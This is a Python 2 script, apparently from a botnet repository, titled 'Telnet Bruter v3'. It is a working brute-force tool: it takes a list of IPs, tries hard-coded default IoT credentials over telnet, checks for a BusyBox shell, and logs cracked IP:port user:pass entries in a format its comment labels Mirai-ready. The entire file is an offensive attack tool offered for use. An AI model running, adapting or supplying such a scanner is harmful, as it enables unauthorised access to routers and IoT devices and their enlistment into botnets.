Path: blob/master/Botnets/Scanning/TELNET/PY BRUTER/final_telnet_bruter.py
5038 views
#!/usr/bin/python1# Telnet Bruter v3 *FINAL* | By; LiGhT234import threading5import sys, os, re, time, socket6from Queue import *7from sys import stdout89if len(sys.argv) < 4:10print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"11sys.exit()1213ips = open(sys.argv[1], "r").readlines()14threads = int(sys.argv[2])15output_file = sys.argv[3]16queue = Queue()17queue_count = 01819combo = [ #use as many passwords as ya want(P.S. The more passwords the slower the bruteforce is going to be)20"support:support",21"admin:admin",22"user:user",23"root:antslq",24"supervisor:zyad1234",25"root:xc3511",26"root:vizxv",27"root: "28]2930for ip in ips:31queue_count += 132stdout.write("\r[%d] Added to queue" % queue_count)33stdout.flush()34queue.put(ip)35print "\n"3637class router(threading.Thread):38def __init__ (self, ip):39threading.Thread.__init__(self)40self.ip = str(ip).rstrip('\n')41def run(self):42username = ""43password = ""44for passwd in combo:45if ":n/a" in passwd:46password=""47else:48password=passwd.split(":")[1]49if "n/a:" in passwd:50username=""51else:52username=passwd.split(":")[0]53try:54tn = socket.socket()55tn.settimeout(8)56tn.connect((self.ip,23))57except Exception:58tn.close()59break60try:61hoho = ''62hoho += readUntil(tn, "ogin:")63if "ogin" in hoho:64tn.send(username + "\n")65time.sleep(0.09)66except Exception:67tn.close()68try:69hoho = ''70hoho += readUntil(tn, "assword:")71if "assword" in hoho:72tn.send(password + "\n")73time.sleep(0.8)74else:75pass76except Exception:77tn.close()78try:79prompt = ''80prompt += tn.recv(40960)81if ">" in prompt and "ONT" not in prompt:82try:83tn.send("cat | sh" + "\n")84time.sleep(0.1)85success = False86timeout = 887data = ["BusyBox", "Built-in"]88tn.send("sh" + "\n")89time.sleep(0.01)90tn.send("busybox" + "\r\n")91buf = '' # NO FALSE POSSITIVES OVA HERE92start_time = time.time()93while time.time() - start_time < timeout:94buf += tn.recv(40960)95time.sleep(0.01)96for info in data:97if info in buf and "unrecognized" not in buf:98success = True99break100except:101pass102elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:103try:104success = False105timeout = 8106data = ["BusyBox", "Built-in"]107tn.send("sh" + "\n")108time.sleep(0.01)109tn.send("shell" + "\n")110time.sleep(0.01)111tn.send("help" + "\n")112time.sleep(0.01)113tn.send("busybox" + "\r\n")114buf = '' # NO FALSE POSSITIVES OVA HERE115start_time = time.time()116while time.time() - start_time < timeout:117buf += tn.recv(40960)118time.sleep(0.01)119for info in data:120if info in buf and "unrecognized" not in buf:121success = True122break123except:124pass125else:126tn.close()127if success == True:128try:129#os.system("echo "+self.ip+" >> "+output_file+"") #1.1.1.1 # bios.txt130#os.system("echo "+self.ip+":"+username+":"+password+" >> "+output_file+"") # 1.1.1.1:user:pass # regular131os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai132print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)133tn.close()134break135except:136tn.close()137tn.close()138except Exception:139tn.close()140141def readUntil(tn, string, timeout=8):142buf = ''143start_time = time.time()144while time.time() - start_time < timeout:145buf += tn.recv(1024)146time.sleep(0.01)147if string in buf: return buf148raise Exception('TIMEOUT!')149150def worker():151try:152while True:153try:154IP = queue.get()155thread = router(IP)156thread.start()157queue.task_done()158time.sleep(0.2)159except:160pass161except:162pass163164for l in xrange(threads):165try:166t = threading.Thread(target=worker)167t.start()168time.sleep(0.01)169except:170pass171172